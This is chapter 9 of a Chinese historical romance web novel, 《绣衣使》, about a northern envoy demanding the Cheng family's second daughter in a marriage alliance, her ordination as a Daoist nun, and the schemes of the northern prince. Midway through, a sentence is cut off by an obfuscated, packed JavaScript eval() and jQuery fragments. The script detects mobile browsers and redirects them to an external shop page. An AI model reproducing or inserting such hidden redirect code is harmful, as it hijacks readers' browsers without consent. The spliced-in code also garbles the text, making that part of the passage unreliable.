9. 第 9 章

作品:《绣衣使

    常无疾微微愣怔,十多年前裴氏就来过这么一出,不过那次求娶定是公主,吓得先帝与太后连夜将爱女嘉宁长公主送进道观出家为国祈福……这次又盯上程氏次女,他斟酌后说道:“定安侯府次女啊……”


    想是馋程氏女的美色吧。


    “嗯,正是定安侯府程氏次女,”高尧回道:“请常大人给贵国皇帝陛下报信,本官在驿馆静候佳音。”


    常无疾有片刻未开口,显得十分难办。他晨起似乎听到风声,定安侯府有个女郎出家当女冠去了。


    “常大人,”高尧见状心中微怒,皮笑肉不笑地说道:“我朝三殿下不求高攀贵国宗室的金枝玉叶,区区一个定安侯次女,想来不会为难吧?”


    “高大人说哪里话。”常无疾语调平常地打哈哈。


    高尧又道:“不过嘛,常大人也知道,北地贫穷,不及江南万分之一富庶,联姻之后,还请贵国朝廷每年赠我朝金银若干,以便供养贵国所嫁之女,莫委屈了她。”


    他将此行的目的一点儿都不藏着掖着,大剌剌摆明面上来说。


    再熟悉不过到配方,常无疾的笑意稍许凌乱,咬牙道:“本官会如实转告我朝陛下。”


    高尧:“有劳。”


    常无疾陪着笑告辞,而后回朝将他的话告诉后越君臣。


    宋玙听后面上大惊:“太不凑巧,宸妃之妹程二已在今晨出家当了女冠,为宸妃和朕祈福求子。”


    不过也在心里大大松了口气——裴氏没有放话提兵南下,比他先前预想的要好。


    朝臣听闻后面面相觑:“这……”怎么就这么凑巧呢。


    常无疾:“……”果然。


    有人奏道:“陛下,为今之计,只有请程女郎还俗,嫁给裴氏三皇子殿下。”语毕,一众群臣附和:“陛下,请以国事为重。”


    也有人反对,一名太常寺的官员愤愤地道:“诸位以为给出去一个程氏女,裴氏从此就会安生吗?”


    今日跟出去一个程氏女,明日又来要别的,没完没了。


    百官之首,左丞相范映岂有不知“今日割五城,明日割五城,然后得一夕安寝。起视四境,而秦兵又至矣。1”的道理,脸色不好看地说道:“我朝将少兵弱,不用此权宜之计顺从裴氏,又该如何?”


    打又打不过。


    众人哑口无言。


    他又问:“常大人,北苍皇帝陛下指名要为其三子聘程氏次女?”


    常无疾:“下官曾反复同他确认过,高大人的的确确是这样说的。”


    范映拧紧双眉:“不巧程氏女出家祈福,”他持笏板上前一步说道:“既这样,不如如实相告。”


    请他们另择佳人。


    “裴氏怎会愿意?”群臣反问。临安城里的未嫁之女中,以程氏次女姿色最好。想来北苍三皇子早听说程氏女艳名,特来索要。


    “本官以为他们意在岁贡银子,”范映说道:“只要我朝拿出诚意,提议除了岁贡之外另为裴氏三殿下另选好女,未必不能商量。”


    “这样一来,裴氏会在岁贡上狮子大张口吧?”有人往坏的方面去想,群臣们在朝堂上争吵不休,嗡嗡声烦得落在大殿屋脊上的鸟扑扑楞楞飞走挪地儿。


    宋玙头疼地说道:“众爱卿听朕说一句。”等群臣都闭嘴后他目视着范映:“范爱卿,你亲自去见见高大人,按照你说的同他商量,去吧……”


    说完,他迫不及待地命退朝,逃也似地回后宫。


    甘泉观。


    吉时一到,李令珠的随从道童用托盘端过来三杯茶:“请程女郎给度师李道长敬茶。”引人入道门的叫“度师”。


    程芸香伸手捧出头一杯敬给李令珠,她并不喝,放在桌子上。到第二杯时,她才浅唱一口,说道:“你唤我一声师父吧。”


    “师父在上,请受徒儿一礼。”程芸香对着她行礼,而后又敬一杯茶给她。想起她另一重绣衣使的身份,程芸香莫名好奇,难免多打量李令珠几眼。


    果有种隐隐的威压。


    李令珠恍若未绝,她接过去,用右手的中指蘸茶水点在程芸香身上:“好。”受完礼,她指着头顶的发髻说道:“女冠的发髻是将头发盘在头顶的百会穴。”


    程芸香瞧几眼她的发髻:“是,师父。”


    女道童捧着托盘出来,里面放着一柄紫檀木拂尘,柄顶端镶嵌一颗朱砂圆珠,缀长而柔软的塵毛。


    李令珠:“去更衣吧。”


    等她换上道袍,扎个女冠的发髻出来,手持拂尘站在那里,李令珠满意笑道:“成了。”


    入道门的皈依科仪就算完成,程芸香从此就是女冠了。


    程芸香又行礼谢她,李令珠笑着对刘女官说道:“贫道告辞。”


    刘女官:“奴婢也该回宫了。”


    程芸香送二人出门。李令珠先走,刘女官在道观门口稍稍停留,再次婉言提醒她,要是不喜欢嘉宁长公主留下的奴仆沈岚之,随时将他赶走便是。


    程芸香再次打马虎眼,未回应她的提议。


    回到观中,素梨问她:“女郎,那个沈道长……”要不要按刘女官说的,赶走他。


    程芸香:“等等再说吧,他毕竟是服侍过长公主的人。”若一住进来就撵走跟随嘉宁长公主多年的太监,岂不是伤她的面子。


    一个太监,没有所谓的男女大妨,能有多碍眼,让他暂且住着罢。


    不自觉竟忙活大半日,坐下来喝了一盏茶的工夫,竟已是旁晚时分。


    嘟嘟嘟,外头有人敲门。


    素梨前去开门,竟是陈宝妙让家里的丫鬟阿喜带婆子们来送东西,她们手脚麻利地搬进来两个大大的檀木箱子,里面装的全是程芸香在家中时所用之物:“夫人说往后一天比一天热起来了,让婢子把女郎的帐子和凉席等东西拿来。”


    别的倒也罢了,那床象牙的凉席是外邦进贡的,宸妃特地赏赐给程芸香用的,夏日睡在上面凉意丝丝,更有养肌肤的功效,翻遍皇宫不过两三张。天气渐热,这个时候在上面铺两层素绢正正好,等到了五月份,揭下一层又恰好,到了六月份,直接睡在凉席上则觉不出暑热来了。


    程芸香谢过她:“姐姐不光是来送东西的吧?”


    她前脚进来,家里后脚就送东西来,有些太过着急了。


    阿喜摇摇头又点点头:“夫人听说北苍来了个使臣,说是要为他们三皇子求亲,想要娶女郎……”


    北苍三皇子,求亲。不,是和亲!


    还未听她说完,程芸香脑中蹦出“和亲”二字


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17066775|195138||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,浑身一僵,随后冒了层密密匝匝的冷汗,几乎将贴身的小衣浸透:北苍使臣来为他们三皇子向自己求亲?


    这种……叫和亲吧?不该去找出身皇室的公主,实在不行还有宗室女,怎会落到她头上。


    不对,之前顼王妃想认她做女儿,是不是……


    又一想,阿姊急急忙忙让她出家当女冠,莫非她早想到了这层。她心中火急火燎感念阿姊的恩德,是阿姊的敏锐让她躲过这一劫……脑中嗡嗡嗡的,一时间十分凌乱。


    程芸香紧紧捏住她身上还未穿热的道袍:“我从来没怪过阿姊,你回去告诉老夫人、夫人,叫她们放心。”


    感激还来不及呢。


    阿喜啰嗦一片后退下。


    观门关好,院中重归寂静,程芸香的脑中分外清明,北苍三皇子,是谁?她从未听闻过此人。


    是慕程氏女的美色而来?还是别的。无从得知。她想着想着将身体蜷缩起来,头埋在膝盖间,因为后怕而浑身轻颤不止。


    ……


    是夜,新月初升,虫鸣啾啾。


    甜水巷梅宅。


    “郎君……”赵乘的脸上带着几分遗憾,声调闷闷地说道:“程女郎……唉,今晨出家当女冠去了。”


    梅晏骤然一怔,眉头凝在一处:“……她出家了?”


    “你说巧不巧,就在高大人抵达临安城的同时,程女郎进了甘泉观。”赵乘说道。


    穿上道袍,成了一名女冠。


    就差那么一天半天,哪怕高尧昨日天黑之前到,这事儿就能成。


    他有点想一拳锤在几上。


    气,但又不能发出来,还得装作若无其事的模样。


    梅晏的手指在几上轻扣两下:“知道了。”


    默然片刻后,赵乘说道:“郎君,他们不答应这门亲事,对我朝反倒是好事儿。”


    “郎君想,今日咱们北苍早已不同往日,后越皇帝惶惶不可终日,就算他不答应联姻,也会主动提出岁贡,另外在别的方面给咱们更多好处,郎君等着便是。”


    横竖不会像上次那样空手而归,无功而返。


    赵乘说道:“先听听后越的意思,另外,我朝已屯兵江北,随时南下攻打江淮重镇楚州,继而南下剑指扬泰二州,这二州一旦到手,往南江宁、润州就不在话下,到那时,攻打临安城犹如探囊取物。”


    “先生这话说大了,”梅晏笑道:“江宁有长江天堑,北苍军不擅水战,”他叹口气:“江宁可望而不可及啊。”


    “臣听说,陛下已在燕州观武池筹建操练水师。”


    只要北苍的大军能渡江拿下临安城以北的江宁城,再攻下润州等地,临安就是一座孤城,毫无险要可守。


    江宁一破,后越只余个临安,离败亡就不远了。


    高尧这个使臣成了功成名就,不成有大军在后。


    梅晏不辨喜怒:“嗯。”


    这一日,他在房中枯坐许久,念了好几遍程芸香的名字!芸娘,芸娘……


    欲是告诉他得不到,他就越不甘心。


    动辄有如猫爪挠着一般,他蠢蠢欲动。但一时又无计可施。赵乘看出他的心思,劝慰道:“他日江南归我北苍,此女亦是殿下的掌中物,殿下耐心等着便是。”